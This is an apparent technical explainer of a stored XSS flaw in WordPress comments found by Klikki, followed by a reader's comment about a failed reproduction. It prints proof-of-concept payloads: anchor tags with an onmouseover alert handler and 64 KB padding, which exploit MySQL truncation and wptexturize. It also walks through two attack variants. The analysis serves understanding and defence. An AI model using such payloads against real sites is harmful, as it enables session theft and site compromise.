More details on the WordPress XSS vulnerability found by Klikki. Both real exploits include a style
attribute to widen the mouseover area to the whole viewport; I've left it out here to keep it simple.
The exploit comment is valid HTML and won't be altered by an HTML santizer:
<a title='x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAAA...[64 kb]..AAA'></a>
But once truncated by MySQL, the comment will become malformed HTML (note the attribute is left open):
<a title='x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAA
This actually creates 2 attacks:
The first one is caused by wptexturize() not having a way to deal with invalid HTML:
wptexturize
expects that all tags start with <
and end with >
. Since our broken snippet does not, it processes it as text, converting '
to an escaped curly quote:
<a title=“x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAA
Now the browser sees 2 unquoted attributes instead of a single title
, and mouseover
contains the exploit (the real exploit includes style
to make the element cover the whole viewport). You can see this in action at http://codepen.io/mrclay/pen/QbwzMq.
The second attack (similar to this old attack) can work even if wptexturize
isn't used, as long as the attacker can submit two comments and the WordPress theme doesn't include a '
between them:
Consider a simple theme that outputs comments like this:
<li class="comment">
Comment 1
</li>
<li class="comment">
Comment 2
</li>
Now we place the truncated comments in. Note the first comment doesn't need the exploit code, all it does is leave the browser's HTML parser in the context of an attribute:
<li class="comment">
<a title='AAAAAAAAAAAAAAAAAAA...
<!-- this should be HTML context but is treated as attribute content -->
</li>
<li class="comment">
<a title='x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAA
</li>
When this is parsed, a big block of HTML is now turned into a single title
attribute, followed by an empty x
attribute, and an unquoted onmouseover
attribute! You can see this in action at http://codepen.io/mrclay/pen/EjaGvG.
i tried to reproduce this at my localhost but there is no method working in here (version 4.1).
well when you said
'wptexturize expects that all tags start with < and end with >. Since our broken snippet does not, it processes it as text, converting ' to an escaped curly quote:
<a title=“x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAA'
it dont convert ' to an escaped curly only, it also converts the open tag "<" too so the output is like so:
&-l-t-;-a title=&-#-0-3-9-;x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAA
(with no dashes, github encodes decoded html)
is this being produced only from my end or what?